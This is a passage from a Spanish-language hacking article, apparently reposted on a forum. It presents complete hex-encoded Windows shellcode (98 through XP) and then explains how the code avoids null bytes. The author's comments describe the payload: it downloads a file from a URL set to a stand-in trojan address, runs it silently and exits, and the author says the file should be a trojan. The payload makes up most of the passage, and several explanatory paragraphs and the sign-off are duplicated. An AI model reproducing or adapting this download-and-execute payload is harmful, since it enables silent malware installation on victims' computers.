"\x72\x6F\x63\x65\x73\x73\x08\x77\x69\x6E\x69\x6E\x65\x74\x2E\x64\x6C\x6C\x08\x49"
"\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65"
"\x74\x4F\x70\x65\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65"
"\x61\x64\x46\x69\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65"
"\x48\x61\x6E\x64\x6C\x65\x08\x4E\x53\x08\x6E\x73\x73\x63\x2E\x65\x78\x65\x08"
"http://www.host.com/troyano.exe"
"\x08\x01";
<-->
Código: Seleccionar todo
<++>
/*
* Shellcode generica en todos los windows de la familia98/ME/NT/2000/XP
* Necesita tener la funcion LoadLibraryA en la import table
* Probabilidades de que funcione: 98%
* 710 bytes
*
* Una vez ejecutada se baja el fichero de la URL escogida, lo ejecuta
* silenciosamente y sale del proceso original. Dicho fichero puede (y
* debe }:) ) ser un troyano. El limite de tama¤o es de 2.2 mb del fichero
* a bajar aproximadamente, y se guarda con el nombre 'x.exe' en el ordenador
* remoto. Lo unico modificable de la shellcode es la URL.
*/
char scode[] =
"\xEB\x5D\x5F\x8B\xF7\x80\x3F"
"\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9"
"\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08"
"\x89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8"
"\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x14\x8B"
"\xCB\xEB\xEB\x33\xC0\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74"
"\x14\x8B\x3E\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E\x74"
"\x06\x40\x8D\x76\x04\xEB\xE0\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B"
"\x03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09\x53"
"\x8B\x45\xF4\xFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78"
"\x03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30"
"\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A\x42\x8D\x40\x04"
"\xEB\xE7\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03\xFA\x66"
"\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B\x1B\x03\x5D\xF0\x89\x5D"
"\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0"
"\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB\xF9\x42\xE2\xE8\xB1\x04"
"\x51\x52\x52\x8B\x75\xEC\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB"
"\xF9\x42\xE2\xE8\xFC\x52\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\xEB\x02\xEB\x7C"
"\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x8B\x45\xC8"
"\xFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52"
"\x52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0\x8D\x55\xAC\x52\x33\xD2\xB6\x1F\xC1"
"\xE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\xC0\xFF\xD0\x8B\x4D\xB0\x51\x8B\x45\xBC"
"\xFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x45\xE0"
"\xFF\xD0\x89\x45\xA8\x8B\x7D\xAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xDC\xFF\xD0\x8B"
"\x55\xA8\xEB\x02\xEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD0\xFF"
"\xD0\x33\xD2\x52\x8B\x45\xCC\xFF\xD0\xE8\x0D\xFE\xFF\xFF\x4C\x6F\x61\x64\x4C\x69"
"\x62\x72\x61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E\x49"
"\x4E\x45\x54\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x5F"
"\x6C\x63\x72\x65\x61\x74\x08\x5F\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61"
"\x6C\x41\x6C\x6C\x6F\x63\x08\x5F\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78"
"\x65\x63\x08\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x08\x49\x6E\x74\x65\x72"
"\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65"
"\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69"
"\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64"
"\x6C\x65\x08\x72\x08\x78\x2E\x65\x78\x65\x08"
"http://www.host.com/troyano.exe"
"\x08\x01";
<-->
------------------------
7.- Comentarios
------------------------
Antes de finalizar me gustaria comentar varios puntos de la(s) shellcode(s).
El primero es el metodo que use para resolver el problema de saber la
direccion de los strings en memoria. En linux es muy tipico el metodo
siguiente:
**
Jmp pepe
Maria:
pop edi
Codigo
Pepe:
Call maria
strings
**
De esta forma se sabe exactamente la direccion de los
strings. El problema es que si se pone un salto mayor que
7Fh el jmp produce un null (mejor dicho varios). Ya que la
instruccion se convierte en:
Jmp 00000085h -> Ejemplo
La solucion que tome fue poner varios saltos en toda la
shellcode. De esta forma quedo algo asi:
**
Jmp pepe
Lala:
pop edi
Codigo
Jmp maria
Pepe:
jmp pepe2
Maria:
codigo
Pepe2:
call lala
Strings
**
De esta forma se consigue ejecutar el call, que al ser negativo puede saltar
todos los bytes que se quiera que no incluira nulls, y se evita los mismos en
los jmp's. En la scode tuve que poner 4 o 5 instrucciones de ese tipo.
Otra cosa a tener en cuenta es que nada mas volver del call, la shellcode
cambiara los valores de esp y de ebp, para evitar que al 'pushear' algo se
sobreescriba el propio codigo de la scode. Esto es algo muy tipico pero muy
util.
Tambien hay que decir que el codigo se encuentra bastante optimizado, ya que
el tama¤o resultante final es bastante peque¤o, teniendo en cuenta que
rastrea la memoria para obtener las direcciones de las funciones, etc.
El primero es el metodo que use para resolver el problema de saber la
direccion de los strings en memoria. En linux es muy tipico el metodo
siguiente:
**
Jmp pepe
Maria:
pop edi
Codigo
Pepe:
Call maria
strings
**
De esta forma se sabe exactamente la direccion de los
strings. El problema es que si se pone un salto mayor que
7Fh el jmp produce un null (mejor dicho varios). Ya que la
instruccion se convierte en:
Jmp 00000085h -> Ejemplo
La solucion que tome fue poner varios saltos en toda la
shellcode. De esta forma quedo algo asi:
**
Jmp pepe
Lala:
pop edi
Codigo
Jmp maria
Pepe:
jmp pepe2
Maria:
codigo
Pepe2:
call lala
Strings
**
De esta forma se consigue ejecutar el call, que al ser negativo puede saltar
todos los bytes que se quiera que no incluira nulls, y se evita los mismos en
los jmp's. En la scode tuve que poner 4 o 5 instrucciones de ese tipo.
Otra cosa a tener en cuenta es que nada mas volver del call, la shellcode
cambiara los valores de esp y de ebp, para evitar que al 'pushear' algo se
sobreescriba el propio codigo de la scode. Esto es algo muy tipico pero muy
util.
Tambien hay que decir que el codigo se encuentra bastante optimizado, ya que
el tama¤o resultante final es bastante peque¤o, teniendo en cuenta que
rastrea la memoria para obtener las direcciones de las funciones, etc.
-------------------
8.- Despedida
-------------------
Bueno, pues esto ha llegado a su fin. Creo que no me he saltado nada.. Espero
que os haya gustado y esas cosas ;). Ahora os dejo con eid0 que ha escrito un
fantastico articulo sobre la explotacion de overflows en Win32, con exploit
incluido. Hasta la proxima.
RaiSe
[email protected] Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
que os haya gustado y esas cosas ;). Ahora os dejo con eid0 que ha escrito un
fantastico articulo sobre la explotacion de overflows en Win32, con exploit
incluido. Hasta la proxima.
RaiSe
[email protected] Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla